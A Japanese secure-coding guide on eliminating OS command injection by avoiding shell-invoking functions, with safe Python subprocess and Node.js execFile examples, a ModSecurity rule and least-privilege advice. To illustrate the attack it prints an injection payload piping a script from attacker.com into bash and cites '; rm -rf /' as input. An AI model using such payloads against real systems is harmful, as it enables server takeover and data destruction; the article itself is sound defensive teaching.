【実務・中級編】OSコマンド実行を回避する代替APIの選定(exec系関数の禁止) – アプリケーションセキュリティ & 安全な開発防御ガイド

「system()は死神の招待状」——OSコマンドインジェクションを根絶する設計思想

現場でインシデント対応をしていると、脆弱性診断の結果報告書で決まって目にする一行がある。「OSコマンドインジェクション脆弱性」。これを修正するために、泥縄式にescapeshellarg()のようなエスケープ関数を埋め込んでいるコードを見ると、正直に言って胃が痛くなる。

はっきり言おう。エスケープに頼るセキュリティは「割れ窓理論」の典型だ。 攻撃者は我々の想像の斜め上を行くシェルメタキャラクタを使い、エスケープの網をすり抜けてくる。

本稿では、OSコマンドインジェクションを「対策」するのではなく、「設計レベルで無効化する」ための現実的なアプローチを伝授する。

—

1. なぜ「exec系関数」は禁じ手なのか?(攻撃者の視点)

攻撃者の目的は、Webアプリケーションを通じてサーバーのシェルを掌握することだ。system()やexec()を呼び出すとき、引数にユーザー入力を連結させると、攻撃者は以下のようなPoCを突きつけてくる。

攻撃者が入力フィールドに注入する例
; curl -s http://attacker.com/malicious.sh | bash;

アプリケーション側が system("ping " . $user_input) のように実装していれば、サーバーは平然と攻撃者のスクリプトをダウンロードし、実行権限を与えてしまう。OSレベルのコマンド実行は、アプリケーションの権限をそのまま奪取することに直結する。これを防ぐには、「シェル(/bin/shやcmd.exe)を介さない」という原則を徹底するしかない。

—

2. 安全な実装の鉄則:シェルを経由させない

多くの言語には、コマンドを「文字列」として渡す関数と、「引数配列」として渡す関数が存在する。シェルを介さない(shell=False)、これがセキュリティの境界線だ。

Python: subprocess.run の正しい作法

Pythonで外部コマンドを叩く際、shell=True を使うのは「自らシェルを渡して攻撃してくれ」と言っているようなものだ。

import subprocess

悪い例: シェルが解釈するため、インジェクションが発生する
subprocess.run(“ping ” + user_input, shell=True)

良い例: 引数を配列で渡す。シェルを介さないため、
攻撃者が ‘; rm -rf /’ と入力しても、pingコマンドの引数として扱われるだけになる
def safe_ping(target_ip):
try:
# shell=False (デフォルト) を明示し、引数はリスト形式で渡す
result = subprocess.run(
[“/usr/bin/ping”, “-c”, “3”, target_ip],
capture_output=True,
text=True,
check=True
)
return result.stdout
except subprocess.CalledProcessError as e:
return f”Error: {e}”

Node.js: execFile を使う

Node.jsで exec() を使うのは避けろ。execFile() を使うことで、シェルを経由せずに直接バイナリを起動できる。

const { execFile } = require(‘child_process’);

// 悪い例: exec(cmd) はシェル経由で実行される

// 良い例: 引数を第2引数の配列で渡す
const args = [target_ip, ‘-c’, ‘3’];
execFile(‘/usr/bin/ping’, args, (error, stdout, stderr) => {
if (error) {
console.error(実行失敗: ${error.message});
return;
}
console.log(結果: ${stdout});
});

—

3. インフラレイヤーでの「二重の盾」

コードレベルで完璧を期しても、ライブラリの脆弱性やヒューマンエラーはゼロにはできない。インフラ側でも「コマンド実行」の可能性を潰しておく必要がある。

WAFによるリクエスト検知

ModSecurity等のWAFには、シェルメタキャラクタ(;, &, |, , $(), >>` など)を検知するルールを必ず適用すること。

Nginx + ModSecurityのルール例(簡易版):

シェルメタキャラクタを含むリクエストを拒否する
SecRule ARGS “([;&|`$])” “id:10001,phase:2,deny,status:403,msg:’OS Command Injection Attempt'”

IAM・権限分離(Least Privilege)

万が一、アプリケーションが乗っ取られた場合に備え、Webサーバーのプロセスを実行しているユーザー(www-dataなど)には、必要最小限の権限しか与えてはならない。特に、sudo権限の付与や、OSのシステムバイナリ(curl, wget, nc)への実行権限を制限することが、実務上の「最後の防壁」になる。

—

チーフエンジニアからの提言

「便利な関数」は、往々にして「危険な関数」だ。もし開発中に system() や shell_exec() を書こうとしている自分に気づいたら、一度手を止めて自問してほしい。

「本当にそのコマンドを実行する必要があるのか?」

DBの操作ならSQLで、ファイルの操作なら言語のAPIで、OSコマンドに頼らない設計こそが、最も堅牢で、かつパフォーマンスも出せる正しいエンジニアリングだ。コードは書くことよりも「いかに書かないか」でセキュリティが決まる。今日から、君のコードベースから system() を一掃しよう。それが、プロフェッショナルとしての第一歩だ。

コメント

タイトルとURLをコピーしました